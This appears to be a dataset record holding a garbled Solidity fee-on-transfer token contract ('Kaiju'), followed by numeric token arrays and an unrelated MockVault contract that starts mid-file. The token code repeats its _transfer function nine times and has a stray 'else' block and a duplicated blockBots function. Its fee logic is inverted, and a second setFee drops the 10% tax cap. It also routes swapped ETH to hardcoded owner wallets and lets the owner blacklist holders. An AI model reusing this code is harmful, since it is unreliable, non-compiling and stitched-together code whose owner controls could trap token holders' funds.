function setFee(uint256 reflectionFeeOnBuy, uint256 reflectionFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_reflectionFeeOnBuy = reflectionFeeOnBuy;
_taxFeeOnBuy = taxFeeOnBuy;
_reflectionFeeOnSell = reflectionFeeOnSell;
_taxFeeOnSell = taxFeeOnSell;
require(_reflectionFeeOnBuy + _taxFeeOnBuy <= 10, "Must keep buy taxes below 10%"); //wont allow taxes to go above 10%
require(_reflectionFeeOnSell + _taxFeeOnSell <= 10, "Must keep sell taxes below 10%"); //wont allow taxes to go above 10%
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set max transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
//set max wallet
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
//set exclude wallet from fees
function setExcludedFromFee(address account, bool excluded) public onlyOwner {
_isExcludedFromFee[account] = excluded;
}
}
|
Buy FeeSell FeeOriginal Feechange these addresses or you will burn your dev tax
|
contract Kaiju is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Kaiju";
string private constant _symbol = "KAIJU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000 * 1e6 * 1e9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) public bots;
uint256 private _reflectionFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 8;
uint256 private _reflectionFeeOnSell = 1;
uint256 private _taxFeeOnSell = 8;
uint256 private _reflectionFee = _reflectionFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousReflectionFee = _reflectionFee;
uint256 private _previousTaxFee = _taxFee;
address payable private _devAddress = payable(0xC612BECbB03Ed3A3732cD46d6d719b190b7bDAa6);
address payable private _mktgAddress = payable(0x5cf6d7b943d789bb708D4259abC1307E4BB46032);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devAddress] = true;
_isExcludedFromFee[_mktgAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_reflectionFee == 0 && _taxFee == 0) return;
_previousReflectionFee = _reflectionFee;
_previousTaxFee = _taxFee;
_reflectionFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_reflectionFee = _previousReflectionFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen)
if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (!_isExcludedFromFee[from]) {
require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen)
if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (!_isExcludedFromFee[from]) {
require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen)
if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (!_isExcludedFromFee[from]) {
require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen)
if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (!_isExcludedFromFee[from]) {
require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen)
if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (!_isExcludedFromFee[from]) {
require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen)
if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (!_isExcludedFromFee[from]) {
require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen)
if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (!_isExcludedFromFee[from]) {
require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
} else {
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen)
if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (!_isExcludedFromFee[from]) {
require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen)
if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (!_isExcludedFromFee[from]) {
require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen)
if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (!_isExcludedFromFee[from]) {
require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_devAddress.transfer(amount.div(8));
_mktgAddress.transfer(amount.div(8).mul(7));
}
function setTrading(bool _tradingOpen) private onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _devAddress || _msgSender() == _mktgAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _devAddress || _msgSender() == _mktgAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _reflectionFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 reflectionFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(reflectionFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 reflectionFeeOnBuy, uint256 reflectionFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_reflectionFeeOnBuy = reflectionFeeOnBuy;
_taxFeeOnBuy = taxFeeOnBuy;
_reflectionFeeOnSell = reflectionFeeOnSell;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setExcludedFromFee(address account, bool excluded) public onlyOwner {
_isExcludedFromFee[account] = excluded;
}
}
| 617,100 |
[
1,
38,
9835,
30174,
55,
1165,
30174,
8176,
30174,
3427,
4259,
6138,
578,
1846,
903,
18305,
3433,
4461,
5320,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
1475,
69,
8302,
89,
353,
1772,
16,
467,
654,
39,
3462,
16,
14223,
6914,
288,
203,
377,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
533,
3238,
5381,
389,
529,
273,
315,
47,
69,
8302,
89,
14432,
203,
565,
533,
3238,
5381,
389,
7175,
273,
315,
47,
18194,
46,
57,
14432,
203,
565,
2254,
28,
3238,
5381,
389,
31734,
273,
2468,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
86,
5460,
329,
31,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
88,
5460,
329,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
565,
2874,
12,
2867,
516,
1426,
13,
3238,
389,
291,
16461,
1265,
14667,
31,
203,
565,
2254,
5034,
3238,
5381,
4552,
273,
4871,
11890,
5034,
12,
20,
1769,
203,
565,
2254,
5034,
3238,
5381,
389,
88,
5269,
273,
4336,
380,
404,
73,
26,
380,
404,
73,
29,
31,
203,
565,
2254,
5034,
3238,
389,
86,
5269,
273,
261,
6694,
300,
261,
6694,
738,
389,
88,
5269,
10019,
203,
565,
2254,
5034,
3238,
389,
88,
14667,
5269,
31,
203,
377,
203,
565,
2874,
12,
2867,
516,
1426,
13,
1071,
2512,
87,
31,
203,
377,
203,
565,
2254,
5034,
3238,
389,
26606,
14667,
1398,
38,
9835,
273,
404,
31,
203,
565,
2254,
5034,
3238,
389,
8066,
14667,
1398,
38,
9835,
273,
1725,
31,
203,
377,
203,
565,
2254,
5034,
3238,
389,
26606,
14667,
1398,
55,
1165,
273,
404,
31,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../garment/DigitalaxMaterials.sol";
contract MockVault {
DigitalaxMaterials public materials;
IERC20 public supportedERC20Asset;
uint256 public supportedERC20AssetSyntheticStrandId;
// using init rather than constructor as we need to know the contract address in the test to give it smart contract role
function init(DigitalaxMaterials _materials, IERC20 _supportedERC20Asset, string memory _supportedAssetSyntheticStrandUri) external {
materials = _materials;
// If this contract supported many assets, this would be in a 'whitelist' method of sorts (maybe without the createChild and instead with a strandId)
supportedERC20Asset = _supportedERC20Asset;
supportedERC20AssetSyntheticStrandId = materials.createChild(_supportedAssetSyntheticStrandUri);
}
function mintAssetBackedSyntheticMaterial(uint256 _depositAmount) external {
// Danger: Transfer does not guarantee this contract will receive all tokens depending on the token implementation
supportedERC20Asset.transferFrom(msg.sender, address(this), _depositAmount);
//mint balance of strand to sender
materials.mintChild(
supportedERC20AssetSyntheticStrandId,
_depositAmount,
msg.sender,
abi.encodePacked("")
);
}
